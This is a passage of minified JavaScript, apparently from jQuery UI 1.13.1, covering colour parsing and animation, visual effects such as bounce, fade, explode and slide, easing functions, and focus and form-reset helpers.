s=(s=r.re.exec(e))&&r.parse(s);if(r=r.space||"rgba",s)return s=t[r](s),t[S[r].cache]=s[S[r].cache],i=t._rgba=s._rgba,!1})),i.length?("0,0,0,0"===i.join()&&v.extend(i,q.transparent),t):q[e]}function A(e,t,i){return 6*(i=(i+1)%1)<1?e+(t-e)*i*6:2*i<1?t:3*i<2?e+(t-e)*(2/3-i)*6:e}L.style.cssText="background-color:rgba(1,1,1,.5)",x.rgba=-1<L.style.backgroundColor.indexOf("rgba"),C(S,(function(e,t){t.cache="_"+e,t.props.alpha={idx:3,type:"percent",def:1}})),v.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),(function(e,t){y["[object "+t+"]"]=t.toLowerCase()})),(k.fn=v.extend(k.prototype,{parse:function(e,t,i,n){if(void 0===e)return this._rgba=[null,null,null,null],this;(e.jquery||e.nodeType)&&(e=v(e).css(t),t=void 0);var r=this,s=D(e),a=this._rgba=[];return void 0!==t&&(e=[e,t,i,n],s="array"),"string"===s?this.parse(P(e)||q._default):"array"===s?(C(S.rgba.props,(function(t,i){a[i.idx]=E(e[i.idx],i)})),this):"object"===s?(C(S,e instanceof k?function(t,i){e[i.cache]&&(r[i.cache]=e[i.cache].slice())}:function(t,i){var n=i.cache;C(i.props,(function(t,s){if(!r[n]&&i.to){if("alpha"===t||null==e[t])return;r[n]=i.to(r._rgba)}r[n][s.idx]=E(e[t],s,!0)})),r[n]&&v.inArray(null,r[n].slice(0,3))<0&&(null==r[n][3]&&(r[n][3]=1),i.from&&(r._rgba=i.from(r[n])))}),this):void 0},is:function(e){var t=k(e),i=!0,n=this;return C(S,(function(e,r){var s,a=t[r.cache];return a&&(s=n[r.cache]||r.to&&r.to(n._rgba)||[],C(r.props,(function(e,t){if(null!=a[t.idx])return i=a[t.idx]===s[t.idx]}))),i})),i},_space:function(){var e=[],t=this;return C(S,(function(i,n){t[n.cache]&&e.push(i)})),e.pop()},transition:function(e,t){var i=(a=k(e))._space(),n=S[i],r=(e=0===this.alpha()?k("transparent"):this)[n.cache]||n.to(e._rgba),s=r.slice(),a=a[n.cache];return C(n.props,(function(e,i){var n=i.idx,o=r[n],l=a[n],u=M[i.type]||{};null!==l&&(null===o?s[n]=l:(u.mod&&(l-o>u.mod/2?o+=u.mod:o-l>u.mod/2&&(o-=u.mod)),s[n]=E((l-o)*t+o,i)))})),this[i](s)},blend:function(e){if(1===this._rgba[3])return this;var t=this._rgba.slice(),i=t.pop(),n=k(e)._rgba;return k(v.map(t,(function(e,t){return(1-i)*n[t]+i*e})))},toRgbaString:function(){var e="rgba(",t=v.map(this._rgba,(function(e,t){return null!=e?e:2<t?1:0}));return 1===t[3]&&(t.pop(),e="rgb("),e+t.join()+")"},toHslaString:function(){var e="hsla(",t=v.map(this.hsla(),(function(e,t){return null==e&&(e=2<t?1:0),t&&t<3?Math.round(100*e)+"%":e}));return 1===t[3]&&(t.pop(),e="hsl("),e+t.join()+")"},toHexString:function(e){var t=this._rgba.slice(),i=t.pop();return e&&t.push(~~(255*i)),"#"+v.map(t,(function(e){return 1===(e=(e||0).toString(16)).length?"0"+e:e})).join("")},toString:function(){return 0===this._rgba[3]?"transparent":this.toRgbaString()}})).parse.prototype=k.fn,S.hsla.to=function(e){if(null==e[0]||null==e[1]||null==e[2])return[null,null,null,e[3]];var t=e[0]/255,i=e[1]/255,n=e[2]/255,r=e[3],s=Math.max(t,i,n),a=Math.min(t,i,n),o=s-a,l=(e=.5*(l=s+a),i=a===s?0:t===s?60*(i-n)/o+360:i===s?60*(n-t)/o+120:60*(t-i)/o+240,0==o?0:e<=.5?o/l:o/(2-l));return[Math.round(i)%360,l,e,null==r?1:r]},S.hsla.from=function(e){if(null==e[0]||null==e[1]||null==e[2])return[null,null,null,e[3]];var t=e[0]/360,i=e[1],n=e[2];return e=e[3],n=2*n-(i=n<=.5?n*(1+i):n+i-n*i),[Math.round(255*A(n,i,t+1/3)),Math.round(255*A(n,i,t)),Math.round(255*A(n,i,t-1/3)),e]},C(S,(function(e,t){var i=t.props,n=t.cache,r=t.to,s=t.from;k.fn[e]=function(e){if(r&&!this[n]&&(this[n]=r(this._rgba)),void 0===e)return this[n].slice();var t=D(e),a="array"===t||"object"===t?e:arguments,o=this[n].slice();return C(i,(function(e,i){null==(e=a["object"===t?e:i.idx])&&(e=o[i.idx]),o[i.idx]=E(e,i)})),s?((e=k(s(o)))[n]=o,e):k(o)},C(i,(function(t,i){k.fn[t]||(k.fn[t]=function(n){var r,s=D(n),a="alpha"===t?this._hsla?"hsla":"rgba":e,o=this[a](),l=o[i.idx];return"undefined"===s?l:("function"===s&&(s=D(n=n.call(this,l))),null==n&&i.empty?this:("string"===s&&(r=w.exec(n))&&(n=l+parseFloat(r[2])*("+"===r[1]?1:-1)),o[i.idx]=n,this[a](o)))})}))})),(k.hook=function(e){e=e.split(" "),C(e,(function(e,t){v.cssHooks[t]={set:function(e,i){var n,r,s="";if("transparent"!==i&&("string"!==D(i)||(n=P(i)))){if(i=k(n||i),!x.rgba&&1!==i._rgba[3]){for(r="backgroundColor"===t?e.parentNode:e;(""===s||"transparent"===s)&&r&&r.style;)try{s=v.css(r,"backgroundColor"),r=r.parentNode}catch(e){}i=i.blend(s&&"transparent"!==s?s:"_default")}i=i.toRgbaString()}try{e.style[t]=i}catch(e){}}},v.fx.step[t]=function(e){e.colorInit||(e.start=k(e.elem,t),e.end=k(e.end),e.colorInit=!0),v.cssHooks[t].set(e.elem,e.start.transition(e.end,e.pos))}}))})("backgroundColor borderBottomColor borderLeftColor borderRightColor borderTopColor color columnRuleColor outlineColor textDecorationColor textEmphasisColor"),v.cssHooks.borderColor={expand:function(e){var t={};return C(["Top","Right","Bottom","Left"],(function(i,n){t["border"+n+"Color"]=e})),t}};var I,O,Y,$,j,N,R,H,F,B,U,W,z,q=v.Color.names={aqua:"#00ffff",black:"#000000",blue:"#0000ff",fuchsia:"#ff00ff",gray:"#808080",green:"#008000",lime:"#00ff00",maroon:"#800000",navy:"#000080",olive:"#808000",purple:"#800080",red:"#ff0000",silver:"#c0c0c0",teal:"#008080",white:"#ffffff",yellow:"#ffff00",transparent:[null,null,null,0],_default:"#ffffff"},V="ui-effects-",J="ui-effects-style",G="ui-effects-animated";function K(e){var t,i,n=e.ownerDocument.defaultView?e.ownerDocument.defaultView.getComputedStyle(e,null):e.currentStyle,r={};if(n&&n.length&&n[0]&&n[n[0]])for(i=n.length;i--;)"string"==typeof n[t=n[i]]&&(r[t.replace(/-([\da-z])/gi,(function(e,t){return t.toUpperCase()}))]=n[t]);else for(t in n)"string"==typeof n[t]&&(r[t]=n[t]);return r}function X(t,i,n,r){return t={effect:t=e.isPlainObject(t)?(i=t).effect:t},"function"==typeof(i=null==i?{}:i)&&(r=i,n=null,i={}),"number"!=typeof i&&!e.fx.speeds[i]||(r=n,n=i,i={}),"function"==typeof n&&(r=n,n=null),i&&e.extend(t,i),n=n||i.duration,t.duration=e.fx.off?0:"number"==typeof n?n:n in e.fx.speeds?e.fx.speeds[n]:e.fx.speeds._default,t.complete=r||i.complete,t}function Z(t){return!t||"number"==typeof t||e.fx.speeds[t]||"string"==typeof t&&!e.effects.effect[t]||"function"==typeof t||"object"==typeof t&&!t.effect}function Q(e,t){var i=t.outerWidth();return t=t.outerHeight(),e=/^rect\((-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto)\)$/.exec(e)||["",0,i,t,0],{top:parseFloat(e[1])||0,right:"auto"===e[2]?i:parseFloat(e[2]),bottom:"auto"===e[3]?t:parseFloat(e[3]),left:parseFloat(e[4])||0}}e.effects={effect:{}},$=["add","remove","toggle"],j={border:1,borderBottom:1,borderColor:1,borderLeft:1,borderRight:1,borderTop:1,borderWidth:1,margin:1,padding:1},e.each(["borderLeftStyle","borderRightStyle","borderBottomStyle","borderTopStyle"],(function(t,i){e.fx.step[i]=function(e){("none"!==e.end&&!e.setAttr||1===e.pos&&!e.setAttr)&&(v.style(e.elem,i,e.end),e.setAttr=!0)}})),e.fn.addBack||(e.fn.addBack=function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}),e.effects.animateClass=function(t,i,n,r){var s=e.speed(i,n,r);return this.queue((function(){var i=e(this),n=i.attr("class")||"",r=(r=s.children?i.find("*").addBack():i).map((function(){return{el:e(this),start:K(this)}})),a=function(){e.each($,(function(e,n){t[n]&&i[n+"Class"](t[n])}))};a(),r=r.map((function(){return this.end=K(this.el[0]),this.diff=function(t,i){var n,r,s={};for(n in i)r=i[n],t[n]!==r&&(j[n]||!e.fx.step[n]&&isNaN(parseFloat(r))||(s[n]=r));return s}(this.start,this.end),this})),i.attr("class",n),r=r.map((function(){var t=this,i=e.Deferred(),n=e.extend({},s,{queue:!1,complete:function(){i.resolve(t)}});return this.el.animate(this.diff,n),i.promise()})),e.when.apply(e,r.get()).done((function(){a(),e.each(arguments,(function(){var t=this.el;e.each(this.diff,(function(e){t.css(e,"")}))})),s.complete.call(i[0])}))}))},e.fn.extend({addClass:(Y=e.fn.addClass,function(t,i,n,r){return i?e.effects.animateClass.call(this,{add:t},i,n,r):Y.apply(this,arguments)}),removeClass:(O=e.fn.removeClass,function(t,i,n,r){return 1<arguments.length?e.effects.animateClass.call(this,{remove:t},i,n,r):O.apply(this,arguments)}),toggleClass:(I=e.fn.toggleClass,function(t,i,n,r,s){return"boolean"==typeof i||void 0===i?n?e.effects.animateClass.call(this,i?{add:t}:{remove:t},n,r,s):I.apply(this,arguments):e.effects.animateClass.call(this,{toggle:t},i,n,r)}),switchClass:function(t,i,n,r,s){return e.effects.animateClass.call(this,{add:i,remove:t},n,r,s)}}),e.expr&&e.expr.pseudos&&e.expr.pseudos.animated&&(e.expr.pseudos.animated=(N=e.expr.pseudos.animated,function(t){return!!e(t).data(G)||N(t)})),!1!==e.uiBackCompat&&e.extend(e.effects,{save:function(e,t){for(var i=0,n=t.length;i<n;i++)null!==t[i]&&e.data(V+t[i],e[0].style[t[i]])},restore:function(e,t){for(var i,n=0,r=t.length;n<r;n++)null!==t[n]&&(i=e.data(V+t[n]),e.css(t[n],i))},setMode:function(e,t){return"toggle"===t?e.is(":hidden")?"show":"hide":t},createWrapper:function(t){if(t.parent().is(".ui-effects-wrapper"))return t.parent();var i={width:t.outerWidth(!0),height:t.outerHeight(!0),float:t.css("float")},n=e("<div></div>").addClass("ui-effects-wrapper").css({fontSize:"100%",background:"transparent",border:"none",margin:0,padding:0}),r={width:t.width(),height:t.height()},s=document.activeElement;try{s.id}catch(n){s=document.body}return t.wrap(n),t[0]!==s&&!e.contains(t[0],s)||e(s).trigger("focus"),n=t.parent(),"static"===t.css("position")?(n.css({position:"relative"}),t.css({position:"relative"})):(e.extend(i,{position:t.css("position"),zIndex:t.css("z-index")}),e.each(["top","left","bottom","right"],(function(e,n){i[n]=t.css(n),isNaN(parseInt(i[n],10))&&(i[n]="auto")})),t.css({position:"relative",top:0,left:0,right:"auto",bottom:"auto"})),t.css(r),n.css(i).show()},removeWrapper:function(t){var i=document.activeElement;return t.parent().is(".ui-effects-wrapper")&&(t.parent().replaceWith(t),t[0]!==i&&!e.contains(t[0],i)||e(i).trigger("focus")),t}}),e.extend(e.effects,{version:"1.13.1",define:function(t,i,n){return n||(n=i,i="effect"),e.effects.effect[t]=n,e.effects.effect[t].mode=i,n},scaledDimensions:function(e,t,i){if(0===t)return{height:0,width:0,outerHeight:0,outerWidth:0};var n="horizontal"!==i?(t||100)/100:1;return t="vertical"!==i?(t||100)/100:1,{height:e.height()*t,width:e.width()*n,outerHeight:e.outerHeight()*t,outerWidth:e.outerWidth()*n}},clipToBox:function(e){return{width:e.clip.right-e.clip.left,height:e.clip.bottom-e.clip.top,left:e.clip.left,top:e.clip.top}},unshift:function(e,t,i){var n=e.queue();1<t&&n.splice.apply(n,[1,0].concat(n.splice(t,i))),e.dequeue()},saveStyle:function(e){e.data(J,e[0].style.cssText)},restoreStyle:function(e){e[0].style.cssText=e.data(J)||"",e.removeData(J)},mode:function(e,t){return e=e.is(":hidden"),"toggle"===t&&(t=e?"show":"hide"),(e?"hide"===t:"show"===t)?"none":t},getBaseline:function(e,t){var i,n;switch(e[0]){case"top":i=0;break;case"middle":i=.5;break;case"bottom":i=1;break;default:i=e[0]/t.height}switch(e[1]){case"left":n=0;break;case"center":n=.5;break;case"right":n=1;break;default:n=e[1]/t.width}return{x:n,y:i}},createPlaceholder:function(t){var i,n=t.css("position"),r=t.position();return t.css({marginTop:t.css("marginTop"),marginBottom:t.css("marginBottom"),marginLeft:t.css("marginLeft"),marginRight:t.css("marginRight")}).outerWidth(t.outerWidth()).outerHeight(t.outerHeight()),/^(static|relative)/.test(n)&&(n="absolute",i=e("<"+t[0].nodeName+">").insertAfter(t).css({display:/^(inline|ruby)/.test(t.css("display"))?"inline-block":"block",visibility:"hidden",marginTop:t.css("marginTop"),marginBottom:t.css("marginBottom"),marginLeft:t.css("marginLeft"),marginRight:t.css("marginRight"),float:t.css("float")}).outerWidth(t.outerWidth()).outerHeight(t.outerHeight()).addClass("ui-effects-placeholder"),t.data(V+"placeholder",i)),t.css({position:n,left:r.left,top:r.top}),i},removePlaceholder:function(e){var t=V+"placeholder",i=e.data(t);i&&(i.remove(),e.removeData(t))},cleanUp:function(t){e.effects.restoreStyle(t),e.effects.removePlaceholder(t)},setTransition:function(t,i,n,r){return r=r||{},e.each(i,(function(e,i){var s=t.cssUnit(i);0<s[0]&&(r[i]=s[0]*n+s[1])})),r}}),e.fn.extend({effect:function(){function t(t){var i=e(this),n=e.effects.mode(i,l)||r;i.data(G,!0),u.push(n),r&&("show"===n||n===r&&"hide"===n)&&i.show(),r&&"none"===n||e.effects.saveStyle(i),"function"==typeof t&&t()}var i=X.apply(this,arguments),n=e.effects.effect[i.effect],r=n.mode,s=i.queue,a=s||"fx",o=i.complete,l=i.mode,u=[];return e.fx.off||!n?l?this[l](i.duration,o):this.each((function(){o&&o.call(this)})):!1===s?this.each(t).each(c):this.queue(a,t).queue(a,c);function c(t){var s=e(this);function a(){"function"==typeof o&&o.call(s[0]),"function"==typeof t&&t()}i.mode=u.shift(),!1===e.uiBackCompat||r?"none"===i.mode?(s[l](),a()):n.call(s[0],i,(function(){s.removeData(G),e.effects.cleanUp(s),"hide"===i.mode&&s.hide(),a()})):(s.is(":hidden")?"hide"===l:"show"===l)?(s[l](),a()):n.call(s[0],i,a)}},show:(F=e.fn.show,function(e){return Z(e)?F.apply(this,arguments):((e=X.apply(this,arguments)).mode="show",this.effect.call(this,e))}),hide:(H=e.fn.hide,function(e){return Z(e)?H.apply(this,arguments):((e=X.apply(this,arguments)).mode="hide",this.effect.call(this,e))}),toggle:(R=e.fn.toggle,function(e){return Z(e)||"boolean"==typeof e?R.apply(this,arguments):((e=X.apply(this,arguments)).mode="toggle",this.effect.call(this,e))}),cssUnit:function(t){var i=this.css(t),n=[];return e.each(["em","px","%","pt"],(function(e,t){0<i.indexOf(t)&&(n=[parseFloat(i),t])})),n},cssClip:function(e){return e?this.css("clip","rect("+e.top+"px "+e.right+"px "+e.bottom+"px "+e.left+"px)"):Q(this.css("clip"),this)},transfer:function(t,i){var n=e(this),r="fixed"===(l=e(t.to)).css("position"),s=e("body"),a=r?s.scrollTop():0,o=r?s.scrollLeft():0,l=(s={top:(s=l.offset()).top-a,left:s.left-o,height:l.innerHeight(),width:l.innerWidth()},n.offset()),u=e("<div class='ui-effects-transfer'></div>");u.appendTo("body").addClass(t.className).css({top:l.top-a,left:l.left-o,height:n.innerHeight(),width:n.innerWidth(),position:r?"fixed":"absolute"}).animate(s,t.duration,t.easing,(function(){u.remove(),"function"==typeof i&&i()}))}}),e.fx.step.clip=function(t){t.clipInit||(t.start=e(t.elem).cssClip(),"string"==typeof t.end&&(t.end=Q(t.end,t.elem)),t.clipInit=!0),e(t.elem).cssClip({top:t.pos*(t.end.top-t.start.top)+t.start.top,right:t.pos*(t.end.right-t.start.right)+t.start.right,bottom:t.pos*(t.end.bottom-t.start.bottom)+t.start.bottom,left:t.pos*(t.end.left-t.start.left)+t.start.left})},B={},e.each(["Quad","Cubic","Quart","Quint","Expo"],(function(e,t){B[t]=function(t){return Math.pow(t,e+2)}})),e.extend(B,{Sine:function(e){return 1-Math.cos(e*Math.PI/2)},Circ:function(e){return 1-Math.sqrt(1-e*e)},Elastic:function(e){return 0===e||1===e?e:-Math.pow(2,8*(e-1))*Math.sin((80*(e-1)-7.5)*Math.PI/15)},Back:function(e){return e*e*(3*e-2)},Bounce:function(e){for(var t,i=4;e<((t=Math.pow(2,--i))-1)/11;);return 1/Math.pow(4,3-i)-7.5625*Math.pow((3*t-2)/22-e,2)}}),e.each(B,(function(t,i){e.easing["easeIn"+t]=i,e.easing["easeOut"+t]=function(e){return 1-i(1-e)},e.easing["easeInOut"+t]=function(e){return e<.5?i(2*e)/2:1-i(-2*e+2)/2}})),L=e.effects,e.effects.define("blind","hide",(function(t,i){var n={up:["bottom","top"],vertical:["bottom","top"],down:["top","bottom"],left:["right","left"],horizontal:["right","left"],right:["left","right"]},r=e(this),s=t.direction||"up",a=r.cssClip(),o={clip:e.extend({},a)},l=e.effects.createPlaceholder(r);o.clip[n[s][0]]=o.clip[n[s][1]],"show"===t.mode&&(r.cssClip(o.clip),l&&l.css(e.effects.clipToBox(o)),o.clip=a),l&&l.animate(e.effects.clipToBox(o),t.duration,t.easing),r.animate(o,{queue:!1,duration:t.duration,easing:t.easing,complete:i})})),e.effects.define("bounce",(function(t,i){var n,r,s=e(this),a="hide"===(d=t.mode),o="show"===d,l=t.direction||"up",u=t.distance,c=t.times||5,d=2*c+(o||a?1:0),h=t.duration/d,p=t.easing,f="up"===l||"down"===l?"top":"left",m="up"===l||"left"===l,g=0;for(t=s.queue().length,e.effects.createPlaceholder(s),l=s.css(f),u=u||s["top"==f?"outerHeight":"outerWidth"]()/3,o&&((r={opacity:1})[f]=l,s.css("opacity",0).css(f,m?2*-u:2*u).animate(r,h,p)),a&&(u/=Math.pow(2,c-1)),(r={})[f]=l;g<c;g++)(n={})[f]=(m?"-=":"+=")+u,s.animate(n,h,p).animate(r,h,p),u=a?2*u:u/2;a&&((n={opacity:0})[f]=(m?"-=":"+=")+u,s.animate(n,h,p)),s.queue(i),e.effects.unshift(s,t,1+d)})),e.effects.define("clip","hide",(function(t,i){var n={},r=e(this),s=(a="both"===(o=t.direction||"vertical"))||"horizontal"===o,a=a||"vertical"===o,o=r.cssClip();n.clip={top:a?(o.bottom-o.top)/2:o.top,right:s?(o.right-o.left)/2:o.right,bottom:a?(o.bottom-o.top)/2:o.bottom,left:s?(o.right-o.left)/2:o.left},e.effects.createPlaceholder(r),"show"===t.mode&&(r.cssClip(n.clip),n.clip=o),r.animate(n,{queue:!1,duration:t.duration,easing:t.easing,complete:i})})),e.effects.define("drop","hide",(function(t,i){var n=e(this),r="show"===t.mode,s=t.direction||"left",a="up"===s||"down"===s?"top":"left",o="up"===s||"left"===s?"-=":"+=",l="+="==o?"-=":"+=",u={opacity:0};e.effects.createPlaceholder(n),s=t.distance||n["top"==a?"outerHeight":"outerWidth"](!0)/2,u[a]=o+s,r&&(n.css(u),u[a]=l+s,u.opacity=1),n.animate(u,{queue:!1,duration:t.duration,easing:t.easing,complete:i})})),e.effects.define("explode","hide",(function(t,i){var n,r,s,a,o,l,u=t.pieces?Math.round(Math.sqrt(t.pieces)):3,c=u,d=e(this),h="show"===t.mode,p=d.show().css("visibility","hidden").offset(),f=Math.ceil(d.outerWidth()/c),m=Math.ceil(d.outerHeight()/u),g=[];function _(){g.push(this),g.length===u*c&&(d.css({visibility:"visible"}),e(g).remove(),i())}for(n=0;n<u;n++)for(a=p.top+n*m,l=n-(u-1)/2,r=0;r<c;r++)s=p.left+r*f,o=r-(c-1)/2,d.clone().appendTo("body").wrap("<div></div>").css({position:"absolute",visibility:"visible",left:-r*f,top:-n*m}).parent().addClass("ui-effects-explode").css({position:"absolute",overflow:"hidden",width:f,height:m,left:s+(h?o*f:0),top:a+(h?l*m:0),opacity:h?0:1}).animate({left:s+(h?0:o*f),top:a+(h?0:l*m),opacity:h?1:0},t.duration||500,t.easing,_)})),e.effects.define("fade","toggle",(function(t,i){var n="show"===t.mode;e(this).css("opacity",n?0:1).animate({opacity:n?1:0},{queue:!1,duration:t.duration,easing:t.easing,complete:i})})),e.effects.define("fold","hide",(function(t,i){var n=e(this),r="show"===(m=t.mode),s="hide"===m,a=t.size||15,o=/([0-9]+)%/.exec(a),l=t.horizFirst?["right","bottom"]:["bottom","right"],u=t.duration/2,c=e.effects.createPlaceholder(n),d=n.cssClip(),h={clip:e.extend({},d)},p={clip:e.extend({},d)},f=[d[l[0]],d[l[1]]],m=n.queue().length;o&&(a=parseInt(o[1],10)/100*f[s?0:1]),h.clip[l[0]]=a,p.clip[l[0]]=a,p.clip[l[1]]=0,r&&(n.cssClip(p.clip),c&&c.css(e.effects.clipToBox(p)),p.clip=d),n.queue((function(i){c&&c.animate(e.effects.clipToBox(h),u,t.easing).animate(e.effects.clipToBox(p),u,t.easing),i()})).animate(h,u,t.easing).animate(p,u,t.easing).queue(i),e.effects.unshift(n,m,4)})),e.effects.define("highlight","show",(function(t,i){var n=e(this),r={backgroundColor:n.css("backgroundColor")};"hide"===t.mode&&(r.opacity=0),e.effects.saveStyle(n),n.css({backgroundImage:"none",backgroundColor:t.color||"#ffff99"}).animate(r,{queue:!1,duration:t.duration,easing:t.easing,complete:i})})),e.effects.define("size",(function(t,i){var n,r=e(this),s=["fontSize"],a=["borderTopWidth","borderBottomWidth","paddingTop","paddingBottom"],o=["borderLeftWidth","borderRightWidth","paddingLeft","paddingRight"],l=t.mode,u="effect"!==l,c=t.scale||"both",d=t.origin||["middle","center"],h=r.css("position"),p=r.position(),f=e.effects.scaledDimensions(r),m=t.from||f,g=t.to||e.effects.scaledDimensions(r,0);e.effects.createPlaceholder(r),"show"===l&&(l=m,m=g,g=l),n={from:{y:m.height/f.height,x:m.width/f.width},to:{y:g.height/f.height,x:g.width/f.width}},"box"!==c&&"both"!==c||(n.from.y!==n.to.y&&(m=e.effects.setTransition(r,a,n.from.y,m),g=e.effects.setTransition(r,a,n.to.y,g)),n.from.x!==n.to.x&&(m=e.effects.setTransition(r,o,n.from.x,m),g=e.effects.setTransition(r,o,n.to.x,g))),"content"!==c&&"both"!==c||n.from.y!==n.to.y&&(m=e.effects.setTransition(r,s,n.from.y,m),g=e.effects.setTransition(r,s,n.to.y,g)),d&&(d=e.effects.getBaseline(d,f),m.top=(f.outerHeight-m.outerHeight)*d.y+p.top,m.left=(f.outerWidth-m.outerWidth)*d.x+p.left,g.top=(f.outerHeight-g.outerHeight)*d.y+p.top,g.left=(f.outerWidth-g.outerWidth)*d.x+p.left),delete m.outerHeight,delete m.outerWidth,r.css(m),"content"!==c&&"both"!==c||(a=a.concat(["marginTop","marginBottom"]).concat(s),o=o.concat(["marginLeft","marginRight"]),r.find("*[width]").each((function(){var i=e(this),r={height:(s=e.effects.scaledDimensions(i)).height*n.from.y,width:s.width*n.from.x,outerHeight:s.outerHeight*n.from.y,outerWidth:s.outerWidth*n.from.x},s={height:s.height*n.to.y,width:s.width*n.to.x,outerHeight:s.height*n.to.y,outerWidth:s.width*n.to.x};n.from.y!==n.to.y&&(r=e.effects.setTransition(i,a,n.from.y,r),s=e.effects.setTransition(i,a,n.to.y,s)),n.from.x!==n.to.x&&(r=e.effects.setTransition(i,o,n.from.x,r),s=e.effects.setTransition(i,o,n.to.x,s)),u&&e.effects.saveStyle(i),i.css(r),i.animate(s,t.duration,t.easing,(function(){u&&e.effects.restoreStyle(i)}))}))),r.animate(g,{queue:!1,duration:t.duration,easing:t.easing,complete:function(){var t=r.offset();0===g.opacity&&r.css("opacity",m.opacity),u||(r.css("position","static"===h?"relative":h).offset(t),e.effects.saveStyle(r)),i()}})})),e.effects.define("scale",(function(t,i){var n=e(this),r=t.mode;r=parseInt(t.percent,10)||(0===parseInt(t.percent,10)||"effect"!==r?0:100),r=e.extend(!0,{from:e.effects.scaledDimensions(n),to:e.effects.scaledDimensions(n,r,t.direction||"both"),origin:t.origin||["middle","center"]},t),t.fade&&(r.from.opacity=1,r.to.opacity=0),e.effects.effect.size.call(this,r,i)})),e.effects.define("puff","hide",(function(t,i){t=e.extend(!0,{},t,{fade:!0,percent:parseInt(t.percent,10)||150}),e.effects.effect.scale.call(this,t,i)})),e.effects.define("pulsate","show",(function(t,i){var n=e(this),r="show"===(u=t.mode),s=2*(t.times||5)+(r||"hide"===u?1:0),a=t.duration/s,o=0,l=1,u=n.queue().length;for(!r&&n.is(":visible")||(n.css("opacity",0).show(),o=1);l<s;l++)n.animate({opacity:o},a,t.easing),o=1-o;n.animate({opacity:o},a,t.easing),n.queue(i),e.effects.unshift(n,u,1+s)})),e.effects.define("shake",(function(t,i){var n=1,r=e(this),s=t.direction||"left",a=t.distance||20,o=t.times||3,l=2*o+1,u=Math.round(t.duration/l),c="up"===s||"down"===s?"top":"left",d="up"===s||"left"===s,h={},p={},f={};for(s=r.queue().length,e.effects.createPlaceholder(r),h[c]=(d?"-=":"+=")+a,p[c]=(d?"+=":"-=")+2*a,f[c]=(d?"-=":"+=")+2*a,r.animate(h,u,t.easing);n<o;n++)r.animate(p,u,t.easing).animate(f,u,t.easing);r.animate(p,u,t.easing).animate(h,u/2,t.easing).queue(i),e.effects.unshift(r,s,1+l)})),e.effects.define("slide","show",(function(t,i){var n,r,s=e(this),a={up:["bottom","top"],down:["top","bottom"],left:["right","left"],right:["left","right"]},o=t.mode,l=t.direction||"left",u="up"===l||"down"===l?"top":"left",c="up"===l||"left"===l,d=t.distance||s["top"==u?"outerHeight":"outerWidth"](!0),h={};e.effects.createPlaceholder(s),n=s.cssClip(),r=s.position()[u],h[u]=(c?-1:1)*d+r,h.clip=s.cssClip(),h.clip[a[l][1]]=h.clip[a[l][0]],"show"===o&&(s.cssClip(h.clip),s.css(u,h[u]),h.clip=n,h[u]=r),s.animate(h,{queue:!1,duration:t.duration,easing:t.easing,complete:i})})),L=!1!==e.uiBackCompat?e.effects.define("transfer",(function(t,i){e(this).transfer(t,i)})):L,e.ui.focusable=function(t,i){var n,r,s,a,o=t.nodeName.toLowerCase();return"area"===o?(r=(n=t.parentNode).name,!(!t.href||!r||"map"!==n.nodeName.toLowerCase())&&0<(r=e("img[usemap='#"+r+"']")).length&&r.is(":visible")):(/^(input|select|textarea|button|object)$/.test(o)?(s=!t.disabled)&&(a=e(t).closest("fieldset")[0])&&(s=!a.disabled):s="a"===o&&t.href||i,s&&e(t).is(":visible")&&function(e){for(var t=e.css("visibility");"inherit"===t;)t=(e=e.parent()).css("visibility");return"visible"===t}(e(t)))},e.extend(e.expr.pseudos,{focusable:function(t){return e.ui.focusable(t,null!=e.attr(t,"tabindex"))}}),e.ui.focusable,e.fn._form=function(){return"string"==typeof this[0].form?this.closest("form"):e(this[0].form)},e.ui.formResetMixin={_formResetHandler:function(){var t=e(this);setTimeout((function(){var i=t.data("ui-form-reset-instances");e.each(i,(function(){this.refresh()}))}))},_bindFormResetHandler:function(){var e;this.form=this.element._form(),this.form.length&&((e=this.form.data("ui-form-reset-instances")||[]).length||this.form.on("reset.ui-form-reset",this._formResetHandler),e.push(this),this.form.data("ui-form-reset-instances",e))},_unbindFormResetHandler:function(){var t;this.form.length&&((t=this.form.data("ui-form-reset-instances")).splice(e.inArray(this,t),1),t.length?this.form.data("ui-form-reset-instances",t):this.form.removeData("ui-form-reset-instances").off("reset.ui-form-reset"))}},e.expr.pseudos||(e.expr.pseudos=e.expr[":"]),e.uniqueSort||(e.uniqueSort=e.unique),e.escapeSelector||(U=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g,W=function(e,t){return t?"\0"===e?"�":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},e.escapeSelector=function(e){return(e+"").replace(U,W)}),e.fn.even&&e.fn.odd||e.fn.extend({even:function(){return this.filter((function(e){return e%2==0}))},odd:function(){return this.filter((function(e){return e%2==1}))}}),e.ui.keyCode={BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38},e.fn.labels=function(){var t,i,n;return this.length?this[0].labels&&this[0].labels.length?this.pushStack(this[0].labels):(i=this.eq(0).parents("label"),(t=this.attr("id"))&&(n=(n=this.eq(0).parents().last()).add((n.length?n:this).siblings()),t="label[for='"+e.escapeSelector(t)+"']",i=i.add(n.find(t).addBack(t))),this.pushStack(i)):this.pushStack([])},e.fn.scrollParent=function(t){var i=this.css("position"),n="absolute"===i,r=t?/(auto|scroll|hidden)/:/(auto|scroll)/;return t=this.parents().filter((function(){var t=e(this);return(!n||"static"!==t.css("position"))&&r.test(t.css("overflow")+t.css("overflow-y")+t.css("overflow-x"))})).eq(0),"fixed"!==i&&t.length?t:e(this[0].ownerDocument||document)},e.extend(e.expr.pseudos,{tabbable:function(t){var i=e.attr(t,"tabindex"),n=null!=i;return(!n||0<=i)&&e.ui.focusable(t,n)}}),e.fn.extend({uniqueId:(z=0,function(){return this.each((function(){this.id||(this.id="ui-id-"+ ++z)}))}),removeUniqueId:function(){return 